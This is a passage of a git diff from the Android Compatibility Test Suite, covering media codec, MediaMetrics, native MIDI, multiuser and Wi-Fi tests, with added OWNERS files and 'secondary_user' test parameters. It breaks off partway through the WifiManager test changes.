-                     Log.e(TAG, "Decoder error: " + e.toString());
-                     exceptionDecoder[0] = e;
-                 }
-             }
-         };
-
-         // Sequential encoding and decoding.
-         runEncoder.run();
-         if (exceptionEncoder[0] != null) {
-             throw exceptionEncoder[0];
-         }
-         int referenceBitrate = bitrate[0];
-         runDecoder.run();
-         if (exceptionDecoder[0] != null) {
-             throw exceptionDecoder[0];
-         }
-         double referencePsnr = psnr[0];
-
-         // Parallel encoding and decoding.
-         params.outputIvfFilename = SDCARD_DIR + File.separator + ENCODED_IVF_BASE + "_copy.ivf";
-         Thread threadEncoder = new Thread(runEncoder);
-         Thread threadDecoder = new Thread(runDecoder);
-         threadEncoder.start();
-         threadDecoder.start();
-         threadEncoder.join();
-         threadDecoder.join();
-         if (exceptionEncoder[0] != null) {
-             throw exceptionEncoder[0];
-         }
-         if (exceptionDecoder[0] != null) {
-             throw exceptionDecoder[0];
-         }
-
-         // Compare bitrates and PSNRs for sequential and parallel cases.
-         Log.d(TAG, "Sequential bitrate: " + referenceBitrate + ". PSNR: " + referencePsnr);
-         Log.d(TAG, "Parallel bitrate: " + bitrate[0] + ". PSNR: " + psnr[0]);
-         assertEquals("Bitrate for sequenatial encoding" + referenceBitrate +
-                 " is different from parallel encoding " + bitrate[0],
-                 referenceBitrate, bitrate[0], MAX_BITRATE_VARIATION * referenceBitrate);
-         assertEquals("PSNR for sequenatial encoding" + referencePsnr +
-                 " is different from parallel encoding " + psnr[0],
-                 referencePsnr, psnr[0], MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE);
-     }
-
-
-    /**
-     * Check the encoder quality for various bitrates by calculating PSNR
-     *
-     * Run the the encoder for 9 seconds for each bitrate and calculate PSNR
-     * for each encoded stream.
-     * Video streams with higher bitrates should have higher PSNRs.
-     * Also compares average and minimum PSNR of codec with PSNR values of reference Google codec.
-     */
-    private void internalTestEncoderQuality(String codecMimeType) throws Exception {
-        int encodeSeconds = 9;      // Encoding sequence duration in seconds for each bitrate.
-        double[] psnrPlatformCodecAverage = new double[TEST_BITRATES_SET.length];
-        double[] psnrPlatformCodecMin = new double[TEST_BITRATES_SET.length];
-        boolean[] completed = new boolean[TEST_BITRATES_SET.length];
-        boolean skipped = true;
-
-        // Run platform specific encoder for different bitrates
-        // and compare PSNR of codec with PSNR of reference Google codec.
-        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
-            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                    INPUT_YUV,
-                    ENCODED_IVF_BASE,
-                    codecMimeType,
-                    encodeSeconds,
-                    WIDTH,
-                    HEIGHT,
-                    FPS,
-                    BITRATE_MODE,
-                    TEST_BITRATES_SET[i],
-                    true);
-            if (encode(params) == null) {
-                // parameters not supported, try other bitrates
-                completed[i] = false;
-                continue;
-            }
-            completed[i] = true;
-            skipped = false;
-
-            decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
-            VpxDecodingStatistics statistics = computeDecodingStatistics(
-                    params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
-                    params.frameWidth, params.frameHeight);
-            psnrPlatformCodecAverage[i] = statistics.mAveragePSNR;
-            psnrPlatformCodecMin[i] = statistics.mMinimumPSNR;
-        }
-
-        if (skipped) {
-            Log.i(TAG, "SKIPPING testEncoderQuality(): no bitrates supported");
-            return;
-        }
-
-        // First do a sanity check - higher bitrates should results in higher PSNR.
-        for (int i = 1; i < TEST_BITRATES_SET.length ; i++) {
-            if (!completed[i]) {
-                continue;
-            }
-            for (int j = 0; j < i; j++) {
-                if (!completed[j]) {
-                    continue;
-                }
-                double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
-                double differencePSNR = psnrPlatformCodecAverage[i] - psnrPlatformCodecAverage[j];
-                if (differenceBitrate * differencePSNR < 0) {
-                    throw new RuntimeException("Target bitrates: " +
-                            TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
-                            ". Actual PSNRs: "
-                            + psnrPlatformCodecAverage[j] + ", " + psnrPlatformCodecAverage[i]);
-                }
-            }
-        }
-
-        // Then compare average and minimum PSNR of platform codec with reference Google codec -
-        // average PSNR for platform codec should be no more than 2 dB less than reference PSNR
-        // and minumum PSNR - no more than 4 dB less than reference minimum PSNR.
-        // These PSNR difference numbers are arbitrary for now, will need further estimation
-        // when more devices with HW VP8 codec will appear.
-        for (int i = 0; i < TEST_BITRATES_SET.length ; i++) {
-            if (!completed[i]) {
-                continue;
-            }
-
-            Log.d(TAG, "Bitrate " + TEST_BITRATES_SET[i]);
-            Log.d(TAG, "Reference: Average: " + REFERENCE_AVERAGE_PSNR[i] + ". Minimum: " +
-                    REFERENCE_MINIMUM_PSNR[i]);
-            Log.d(TAG, "Platform:  Average: " + psnrPlatformCodecAverage[i] + ". Minimum: " +
-                    psnrPlatformCodecMin[i]);
-            if (psnrPlatformCodecAverage[i] < REFERENCE_AVERAGE_PSNR[i] -
-                    MAX_AVERAGE_PSNR_DIFFERENCE) {
-                throw new RuntimeException("Low average PSNR " + psnrPlatformCodecAverage[i] +
-                        " comparing to reference PSNR " + REFERENCE_AVERAGE_PSNR[i] +
-                        " for bitrate " + TEST_BITRATES_SET[i]);
-            }
-            if (psnrPlatformCodecMin[i] < REFERENCE_MINIMUM_PSNR[i] -
-                    MAX_MINIMUM_PSNR_DIFFERENCE) {
-                throw new RuntimeException("Low minimum PSNR " + psnrPlatformCodecMin[i] +
-                        " comparing to reference PSNR " + REFERENCE_MINIMUM_PSNR[i] +
-                        " for bitrate " + TEST_BITRATES_SET[i]);
-            }
-        }
-    }
-
-    public void testBasicVP8() throws Exception { internalTestBasic(VP8_MIME); }
-    public void testBasicVP9() throws Exception { internalTestBasic(VP9_MIME); }
-
-    public void testAsyncEncodingVP8() throws Exception { internalTestAsyncEncoding(VP8_MIME); }
-    public void testAsyncEncodingVP9() throws Exception { internalTestAsyncEncoding(VP9_MIME); }
-
-    public void testSyncFrameVP8() throws Exception { internalTestSyncFrame(VP8_MIME, false); }
-    public void testSyncFrameVP8Ndk() throws Exception { internalTestSyncFrame(VP8_MIME, true); }
-    public void testSyncFrameVP9() throws Exception { internalTestSyncFrame(VP9_MIME, false); }
-    public void testSyncFrameVP9Ndk() throws Exception { internalTestSyncFrame(VP9_MIME, true); }
-
-    public void testDynamicBitrateChangeVP8() throws Exception {
-        internalTestDynamicBitrateChange(VP8_MIME, false);
-    }
-    public void testDynamicBitrateChangeVP8Ndk() throws Exception {
-        internalTestDynamicBitrateChange(VP8_MIME, true);
-    }
-    public void testDynamicBitrateChangeVP9() throws Exception {
-        internalTestDynamicBitrateChange(VP9_MIME, false);
-    }
-    public void testDynamicBitrateChangeVP9Ndk() throws Exception {
-        internalTestDynamicBitrateChange(VP9_MIME, true);
-    }
-
-    public void testParallelEncodingAndDecodingVP8() throws Exception {
-        internalTestParallelEncodingAndDecoding(VP8_MIME);
-    }
-    public void testParallelEncodingAndDecodingVP9() throws Exception {
-        internalTestParallelEncodingAndDecoding(VP9_MIME);
-    }
-
-    public void testEncoderQualityVP8() throws Exception { internalTestEncoderQuality(VP8_MIME); }
-    public void testEncoderQualityVP9() throws Exception { internalTestEncoderQuality(VP9_MIME); }
-
-}
-
diff --git a/tests/tests/midi/OWNERS b/tests/tests/midi/OWNERS
new file mode 100644
index 0000000..e78e1d0
--- /dev/null
+++ b/tests/tests/midi/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+philburk@google.com
diff --git a/tests/tests/multiuser/AndroidTest.xml b/tests/tests/multiuser/AndroidTest.xml
index 8edf9d6..df4a765 100644
--- a/tests/tests/multiuser/AndroidTest.xml
+++ b/tests/tests/multiuser/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMultiUserTestCases.apk" />
diff --git a/tests/tests/multiuser/OWNERS b/tests/tests/multiuser/OWNERS
new file mode 100644
index 0000000..2b344eb
--- /dev/null
+++ b/tests/tests/multiuser/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 71510
+include /tests/app/OWNERS
+
+bookatz@google.com
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 7c48cd3..9d1d3c2 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1556,10 +1556,7 @@
             }
         }
     } else {
-        // TODO(b/123042748): The fact that glEGLImageTargetTexStorageEXT does not work for YUV
-        //                    textures is a bug. The condition for the target should be removed
-        //                    once the bug is fixed.
-        if (HasGLExtension("GL_EXT_EGL_image_storage") && mTexTarget != GL_TEXTURE_EXTERNAL_OES) {
+        if (HasGLExtension("GL_EXT_EGL_image_storage")) {
             glEGLImageTargetTexStorageEXT(mTexTarget, static_cast<GLeglImageOES>(mEGLImage),
                                           nullptr);
         } else {
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
index 12da94e..6d116c2 100644
--- a/tests/tests/nativemedia/aaudio/AndroidTest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/nativemedia/mediametrics/Android.bp b/tests/tests/nativemedia/mediametrics/Android.bp
new file mode 100644
index 0000000..6e1ecc1
--- /dev/null
+++ b/tests/tests/nativemedia/mediametrics/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+cc_test {
+    name: "CtsNativeMediaMetricsTestCases",
+
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+
+    srcs: ["src/MediaMetricsTest.cpp"],
+
+    shared_libs: [
+        "liblog",
+        "libmediametrics",
+        "libutils",
+    ],
+
+    static_libs: [
+        "libgtest",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+
+}
diff --git a/tests/tests/nativemedia/mediametrics/AndroidTest.xml b/tests/tests/nativemedia/mediametrics/AndroidTest.xml
new file mode 100644
index 0000000..b84510f
--- /dev/null
+++ b/tests/tests/nativemedia/mediametrics/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Native Media Metrics test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsNativeMediaMetricsTestCases->/data/local/tmp/CtsNativeMediaMetricsTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsNativeMediaMetricsTestCases" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/nativemedia/mediametrics/src/MediaMetricsTest.cpp b/tests/tests/nativemedia/mediametrics/src/MediaMetricsTest.cpp
new file mode 100644
index 0000000..fef80ba
--- /dev/null
+++ b/tests/tests/nativemedia/mediametrics/src/MediaMetricsTest.cpp
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_NDEBUG 0
+#define LOG_TAG "MediaMetricsTest"
+
+#include <gtest/gtest.h>
+#include <utils/Log.h>
+#include <MediaMetrics.h>
+
+//-----------------------------------------------------------------
+class MediaMetricsTest : public ::testing::Test {
+
+protected:
+    MediaMetricsTest() { }
+
+    virtual ~MediaMetricsTest() { }
+
+    /* Test setup*/
+    virtual void SetUp() {
+        handle_ = mediametrics_create("foo");
+    }
+
+    virtual void TearDown() {
+        mediametrics_delete(handle_);
+    }
+
+    mediametrics_handle_t handle_;
+};
+
+//-------------------------------------------------------------------------------------------------
+TEST_F(MediaMetricsTest, testCreateDelete) {
+    // Will be done with SetUp and TearDown.
+}
+
+TEST_F(MediaMetricsTest, testInt32) {
+    mediametrics_setInt32(handle_, "attr1", 100);
+    int32_t value;
+    EXPECT_TRUE(mediametrics_getInt32(handle_, "attr1",  &value));
+    EXPECT_EQ(100, value);
+
+    mediametrics_addInt32(handle_, "attr1", 50);
+    EXPECT_TRUE(mediametrics_getInt32(handle_, "attr1",  &value));
+    EXPECT_EQ(150, value);
+}
+
+TEST_F(MediaMetricsTest, testInt64) {
+    mediametrics_setInt64(handle_, "attr2", 1e10);
+    int64_t value;
+    EXPECT_TRUE(mediametrics_getInt64(handle_, "attr2",  &value));
+    EXPECT_EQ(1e10, value);
+
+    mediametrics_addInt64(handle_, "attr2", 50);
+    EXPECT_TRUE(mediametrics_getInt64(handle_, "attr2",  &value));
+    EXPECT_EQ(1e10 + 50, value);
+}
+
+TEST_F(MediaMetricsTest, testDouble) {
+    mediametrics_setDouble(handle_, "attr3", 100.0);
+    double value;
+    EXPECT_TRUE(mediametrics_getDouble(handle_, "attr3",  &value));
+    EXPECT_DOUBLE_EQ(100.0, value);
+
+    mediametrics_addDouble(handle_, "attr3", 50.0);
+    EXPECT_TRUE(mediametrics_getDouble(handle_, "attr3",  &value));
+    EXPECT_DOUBLE_EQ(150.0, value);
+}
+
+TEST_F(MediaMetricsTest, testRate) {
+    mediametrics_setRate(handle_, "attr4", 30, 1000);
+    int64_t count;
+    int64_t duration;
+    double rate;
+    EXPECT_TRUE(mediametrics_getRate(handle_, "attr4",  &count, &duration, &rate));
+    EXPECT_EQ(30, count);
+    EXPECT_EQ(1000, duration);
+    EXPECT_DOUBLE_EQ(30/1000.0, rate);
+
+    mediametrics_addRate(handle_, "attr4", 29, 1000);
+    EXPECT_TRUE(mediametrics_getRate(handle_, "attr4",  &count, &duration, &rate));
+    EXPECT_EQ(59, count);
+    EXPECT_EQ(2000, duration);
+    EXPECT_DOUBLE_EQ(59/2000.0, rate);
+}
+
+TEST_F(MediaMetricsTest, testCString) {
+    mediametrics_setCString(handle_, "attr5", "test_string");
+    char *value = nullptr;
+    EXPECT_TRUE(mediametrics_getCString(handle_, "attr5",  &value));
+    EXPECT_STREQ("test_string", value);
+    mediametrics_freeCString(value);
+}
+
+TEST_F(MediaMetricsTest, testCount) {
+    mediametrics_setInt32(handle_, "attr1", 100);
+    EXPECT_EQ(1, mediametrics_count(handle_));
+    mediametrics_setInt32(handle_, "attr2", 200);
+    mediametrics_setInt32(handle_, "attr3", 300);
+    EXPECT_EQ(3, mediametrics_count(handle_));
+}
+
+TEST_F(MediaMetricsTest, testReadable) {
+    mediametrics_setInt32(handle_, "attr1", 1);
+    mediametrics_setInt64(handle_, "attr2", 2);
+    mediametrics_setDouble(handle_, "attr3", 3.0);
+    mediametrics_setRate(handle_, "attr4", 4, 5);
+    mediametrics_setCString(handle_, "attr5", "test_string");
+
+    EXPECT_TRUE(strlen(mediametrics_readable(handle_)) > 0);
+}
+
+TEST_F(MediaMetricsTest, testSelfRecord) {
+    mediametrics_setInt32(handle_, "attr1", 100);
+    mediametrics_setInt64(handle_, "attr2", 1e10);
+    mediametrics_setDouble(handle_, "attr3", 100.0);
+    mediametrics_setRate(handle_, "attr4", 30, 1000);
+    mediametrics_setCString(handle_, "attr5", "test_string");
+    mediametrics_setUid(handle_, 10000);
+
+    EXPECT_TRUE(mediametrics_selfRecord(handle_));
+}
+
+TEST_F(MediaMetricsTest, testIsEnabled) {
+    EXPECT_TRUE(mediametrics_isEnabled());
+}
+
+int main(int argc, char **argv) {
+    testing::InitGoogleTest(&argc, argv);
+
+    return RUN_ALL_TESTS();
+}
+
diff --git a/tests/tests/nativemedia/sl/AndroidTest.xml b/tests/tests/nativemedia/sl/AndroidTest.xml
index 83a1000..51968de 100644
--- a/tests/tests/nativemedia/sl/AndroidTest.xml
+++ b/tests/tests/nativemedia/sl/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
diff --git a/tests/tests/nativemedia/sl/OWNERS b/tests/tests/nativemedia/sl/OWNERS
new file mode 100644
index 0000000..38b4a35
--- /dev/null
+++ b/tests/tests/nativemedia/sl/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+jmtrivi@google.com
diff --git a/tests/tests/nativemedia/xa/AndroidTest.xml b/tests/tests/nativemedia/xa/AndroidTest.xml
index f6bc1ec..b3f067e 100644
--- a/tests/tests/nativemedia/xa/AndroidTest.xml
+++ b/tests/tests/nativemedia/xa/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
diff --git a/tests/tests/nativemedia/xa/OWNERS b/tests/tests/nativemedia/xa/OWNERS
new file mode 100644
index 0000000..90b75e4
--- /dev/null
+++ b/tests/tests/nativemedia/xa/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+include ../sl/OWNERS
diff --git a/tests/tests/nativemidi/OWNERS b/tests/tests/nativemidi/OWNERS
new file mode 100644
index 0000000..ce5adf1
--- /dev/null
+++ b/tests/tests/nativemidi/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 48436
+pmclean@google.com
\ No newline at end of file
diff --git a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
index 9a6a7de..32e46ac 100644
--- a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
+++ b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
@@ -76,6 +76,16 @@
         return pm.hasSystemFeature(PackageManager.FEATURE_MIDI);
     }
 
+    public static boolean hasLibAMidi() {
+        try {
+            System.loadLibrary("amidi");
+        } catch (UnsatisfiedLinkError ex) {
+            Log.e(TAG, "libamidi.so not found.");
+            return false;
+        }
+        return true;
+    }
+
     private byte[] generateRandomMessage(int len) {
         byte[] buffer = new byte[len];
         for(int index = 0; index < len; index++) {
@@ -131,7 +141,6 @@
     }
 
      protected void setUpEchoServer() throws Exception {
-        Log.i(TAG, "++ setUpEchoServer()");
         MidiDeviceInfo echoInfo = MidiEchoTestService.findEchoDevice(mContext);
 
         // Open device.
@@ -161,7 +170,6 @@
     }
 
     protected void tearDownEchoServer() throws IOException {
-        Log.i(TAG, "++ tearDownEchoServer()");
         // Query echo service directly to see if it is getting status updates.
         MidiEchoTestService echoService = MidiEchoTestService.getInstance();
 
@@ -209,11 +217,11 @@
 //
     @Before
     public void setUp() throws Exception {
-        Log.i(TAG, "++ setUp() mContext:" + mContext);
         if (!hasMidiSupport()) {
             Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
             return; // Not supported so don't test it.
         }
+
         mMidiManager = (MidiManager)mContext.getSystemService(Context.MIDI_SERVICE);
         Assert.assertNotNull("Could not get the MidiManger.", mMidiManager);
 
@@ -222,16 +230,17 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!hasMidiSupport()) {
+            Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
+            return; // Not supported so don't test it.
+        }
         tearDownEchoServer();
 
-        Log.i(TAG, "++ tearDown()");
         mMidiManager = null;
     }
 
     @Test
     public void test_A_MidiManager() throws Exception {
-        Log.i(TAG, "++++ test_A_MidiManager() this:" + System.identityHashCode(this));
-
         if (!hasMidiSupport()) {
             return; // Nothing to test
         }
@@ -242,13 +251,19 @@
         MidiDeviceInfo[] infos = mMidiManager.getDevices();
         Assert.assertNotNull("device list was null", infos);
         Assert.assertTrue("device list was empty", infos.length >= 1);
+    }
 
-        Log.i(TAG, "++++ test_A_MidiManager() - DONE");
+
+    @Test
+    public void test_AA_LibAMidiExists() throws Exception {
+        Assert.assertTrue("libamidi.so not found.", hasLibAMidi());
     }
 
     @Test
     public void test_B_SendData() throws Exception {
-        Log.i(TAG, "++++ test_B_SendData() this:" + System.identityHashCode(this));
+        if (!hasMidiSupport()) {
+            return; // Nothing to test
+        }
 
         Assert.assertEquals("Didn't start with 0 sends", 0, getNumSends(mTestContext));
         Assert.assertEquals("Didn't start with 0 bytes sent", 0, getNumBytesSent(mTestContext));
@@ -262,13 +277,10 @@
         Assert.assertTrue("Didn't get 1 send", getNumBytesSent(mTestContext) == buffer.length);
         Assert.assertEquals("Didn't get right number of bytes sent",
                 buffer.length, getNumBytesSent(mTestContext));
-
-        Log.i(TAG, "++++ test_B_SendData() - DONE");
     }
 
     @Test
     public void test_C_EchoSmallMessage() throws Exception {
-        Log.i(TAG, "++++ test_C_EchoSmallMessage() this:" + System.identityHashCode(this));
         if (!hasMidiSupport()) {
             return; // nothing to test
         }
@@ -291,13 +303,10 @@
 
         NativeMidiMessage message = getReceivedMessageAt(mTestContext, 0);
         compareMessages(buffer, timestamp, message);
-
-        Log.i(TAG, "++++ test_C_EchoSmallMessage() - DONE");
     }
 
     @Test
     public void test_D_EchoNMessages() throws Exception {
-        Log.i(TAG, "++++ test_D_EchoNMessages() this:" + System.identityHashCode(this));
         if (!hasMidiSupport()) {
             return; // nothing to test
         }
@@ -325,13 +334,10 @@
             NativeMidiMessage message = getReceivedMessageAt(mTestContext, msgIndex);
             compareMessages(buffers[msgIndex], timestamps[msgIndex], message);
         }
-
-        Log.i(TAG, "++++ test_D_EchoNMessages() - DONE");
     }
 
     @Test
     public void test_E_FlushMessages() throws Exception {
-        Log.i(TAG, "++++ test_E_FlushMessages() this:" + System.identityHashCode(this));
         if (!hasMidiSupport()) {
             return; // nothing to test
         }
@@ -362,13 +368,10 @@
             NativeMidiMessage message = getReceivedMessageAt(mTestContext, msgIndex);
             compareMessages(buffers[msgIndex], timestamps[msgIndex], message);
         }
-
-        Log.i(TAG, "++++ test_E_FlushMessages() - DONE");
     }
 
     @Test
     public void test_F_HugeMessage() throws Exception {
-        Log.i(TAG, "++++ test_F_HugeMessage() this:" + System.identityHashCode(this));
         if (!hasMidiSupport()) {
             return; // nothing to test
         }
@@ -383,8 +386,6 @@
         buffer = generateRandomMessage(kindaHugeMessageLen);
         result = writeMidi(mTestContext, buffer, 0, buffer.length);
         Assert.assertEquals("Kinda big write failed.", kindaHugeMessageLen, result);
-
-        Log.i(TAG, "++++ test_F_HugeMessage() - DONE");
     }
 
     /**
@@ -393,7 +394,6 @@
      */
     @Test
     public void test_G_NativeEchoTime() throws Exception {
-        Log.i(TAG, "++++ test_G_NativeEchoTime() this:" + System.identityHashCode(this));
         if (!hasMidiSupport()) {
             return; // nothing to test
         }
@@ -426,13 +426,10 @@
                     "timestamp:" + message.timestamp + " received:" + message.timeReceived,
                     (elapsedNanos < maxLatencyNanos));
         }
-
-        Log.i(TAG, "++++ test_G_NativeEchoTime() - DONE");
     }
 
     @Test
     public void test_H_EchoNMessages_PureNative() throws Exception {
-        Log.i(TAG, "++++ test_H_EchoNMessages_PureNative() this:" + System.identityHashCode(this));
         if (!hasMidiSupport()) {
             return; // nothing to test
         }
@@ -453,8 +450,6 @@
 
         int result = matchNativeMessages(mTestContext);
         Assert.assertEquals("Native Compare Test Failed", result, 0);
-
-        Log.i(TAG, "++++ test_H_EchoNMessages_PureNative() - DONE");
     }
 
     /**
@@ -463,8 +458,6 @@
      */
     @Test
     public void test_I_NativeEchoTime_PureNative() throws Exception {
-        Log.i(TAG, "++++ test_I_NativeEchoTime_PureNative() this:"
-                + System.identityHashCode(this));
         if (!hasMidiSupport()) {
             return; // nothing to test
         }
@@ -487,8 +480,6 @@
 
         int result = checkNativeLatency(mTestContext, maxLatencyNanos);
         Assert.assertEquals("failed pure native latency test.", 0, result);
-
-        Log.i(TAG, "++++ test_I_NativeEchoTime_PureNative() - DONE");
     }
 
     // Native Routines
diff --git a/tests/tests/ndef/AndroidTest.xml b/tests/tests/ndef/AndroidTest.xml
index c4b0585..1156bec 100644
--- a/tests/tests/ndef/AndroidTest.xml
+++ b/tests/tests/ndef/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNdefTestCases.apk" />
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 3e47764..3ed157a 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -17,6 +17,7 @@
 package android.net.wifi.cts;
 
 
+import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -25,8 +26,10 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.net.ConnectivityManager;
+import android.net.MacAddress;
 import android.net.NetworkInfo;
 import android.net.wifi.ScanResult;
+import android.net.wifi.SoftApConfiguration;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.TxPacketCountListener;
@@ -45,7 +48,7 @@
 import android.util.ArraySet;
 import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -53,8 +56,11 @@
 import java.net.URL;
 import java.security.MessageDigest;
 import java.security.cert.X509Certificate;
+import java.util.LinkedList;
 import java.util.List;
 import java.util.Objects;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
 import java.util.stream.Collectors;
@@ -104,6 +110,10 @@
     private static final String MANAGED_PROVISIONING_PACKAGE_NAME
             = "com.android.managedprovisioning";
 
+    private static final String TEST_SSID_UNQUOTED = "testSsid1";
+    private static final MacAddress TEST_MAC = MacAddress.fromString("aa:bb:cc:dd:ee:ff");
+    private static final String TEST_PASSPHRASE = "passphrase";
+
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
@@ -514,7 +524,7 @@
         assertTrue(i < 15);
     }
 
-    public class TestLocalOnlyHotspotCallback extends WifiManager.LocalOnlyHotspotCallback {
+    private static class TestLocalOnlyHotspotCallback extends WifiManager.LocalOnlyHotspotCallback {
         Object hotspotLock;
         WifiManager.LocalOnlyHotspotReservation reservation = null;
         boolean onStartedCalled = false;
@@ -600,7 +610,7 @@
      *
      * Note: Location mode must be enabled for this test.
      */
-    public void testStartLocalOnlyHotspotSuccess() {
